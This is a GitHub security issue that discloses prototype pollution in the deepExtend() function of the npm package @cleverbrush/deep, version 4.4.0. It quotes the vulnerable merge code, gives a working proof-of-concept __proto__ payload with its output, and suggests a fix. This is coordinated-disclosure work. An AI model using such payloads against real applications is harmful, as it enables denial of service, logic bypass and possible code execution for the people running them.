Skip to content

Prototype pollution in deepExtend() via unguarded __proto__ key in recursive merge #213

Description

@classified-mick

Summary

deepExtend() recursively merges the source objects into a fresh result object, but the merge loop does not exclude the special keys __proto__, constructor, or prototype. When one of the source objects is built from attacker-controlled input (for example JSON.parse() of a request body), a __proto__ property in that input causes the merge to walk into Object.prototype and write attacker-named properties onto it. After the call, every object in the realm inherits the injected property.

This is a coordinated, good-faith disclosure. I confirmed it against the current published release 4.4.0 (dist-tag latest) and against the source at master.

Affected version

  • npm @cleverbrush/deep up to and including 4.4.0 (current latest, published 2026-07-06)
  • Source: libs/deep/src/deepExtend.ts at master
  • No fixed release exists at the time of writing.

Details

In libs/deep/src/deepExtend.ts, the inner extendObject helper iterates the source keys with no exclusion list:

const extendObject = (o1: any, o2: any) => {
    const keys = Object.keys(o2);          // no __proto__/constructor/prototype filter
    for (let i = 0; i < keys.length; i++) {
        if (
            !Reflect.has(o1, keys[i]) ||
            !(typeof o1[keys[i]] === 'object' &&
              o1[keys[i]] !== null &&
              typeof o2[keys[i]] === 'object')
        ) {
            o1[keys[i]] = o2[keys[i]];      // write
        } else {
            if (o1[keys[i]] == null || o2[keys[i]] == null) {
                o1[keys[i]] = o2[keys[i]];
            } else {
                extendObject(o1[keys[i]], o2[keys[i]]);   // recurse
            }
        }
    }
};

When o2 is parsed from JSON that contains a __proto__ key, Object.keys(o2) returns "__proto__" as an own enumerable key. On the receiving side o1["__proto__"] resolves through the inherited getter to Object.prototype, which is a non-null object, so the recursion branch runs with o1 now pointing at Object.prototype. Inside that recursion the attacker's inner keys are not present on Object.prototype, so they are assigned directly onto it.

For completeness: the constructor / prototype route does not work here, because the receiver's constructor is a function (its typeof is not "object"), so that path overwrites the property locally on the result instead of recursing. The working vector is __proto__.

Proof of concept (benign, local)

Node v24, using the published 4.4.0 artifact. This only reads and sets a harmless marker property in a local process; it makes no network calls.

import { deepExtend } from '@cleverbrush/deep';

console.log('before:', ({}).polluted);            // undefined

const payload = JSON.parse('{"a":{"__proto__":{"polluted":"pp"}}}');
const out = deepExtend({ a: {} }, payload);

console.log('after:', ({}).polluted);             // "pp"  <- Object.prototype polluted
console.log('own prop on result?',
    Object.prototype.hasOwnProperty.call(out.a, 'polluted'));  // false

Output:

before: undefined
after: pp
own prop on result? false

out.a has no own polluted property, which shows the value landed on Object.prototype rather than on the returned object. A top-level payload such as JSON.parse('{"__proto__":{"x":1}}') pollutes in the same way, and a brand new {} created afterwards inherits the injected key.

Impact

CWE-1321 (prototype pollution). Any consumer that deep-merges attacker-influenced object data (request body, query string, stored config) into another object reaches this sink, for example deepExtend(defaults, JSON.parse(untrustedInput)). The concrete effect depends on the consuming application and can include denial of service, bypass of logic that reads properties by name, and in some setups escalation to code execution through a secondary gadget. This needs an attacker-reachable deepExtend call, so it is a library-level pollution primitive rather than a standalone unauthenticated exploit, but it is a real one.

Suggested fix

Skip the dangerous keys in the merge loop:

const FORBIDDEN = new Set(['__proto__', 'constructor', 'prototype']);

const extendObject = (o1: any, o2: any) => {
    const keys = Object.keys(o2);
    for (let i = 0; i < keys.length; i++) {
        const key = keys[i];
        if (FORBIDDEN.has(key)) continue;
        // ...existing logic, using `key` instead of keys[i]
    }
};

As defense in depth, use Object.hasOwn(o1, key) in place of Reflect.has(o1, key) so inherited properties are not treated as already present, and consider building intermediate containers with Object.create(null). Skipping the three keys is the minimal change that closes the reported vector.

Credit

Reported by Mykhailo Kholiev. A VulDB entry will reference this issue for a coordinated CVE assignment. The proof of concept is benign and was run only in a local Node process. Happy to clarify any details or review a patch.

References

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Fields

    No fields configured for issues without a type.

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions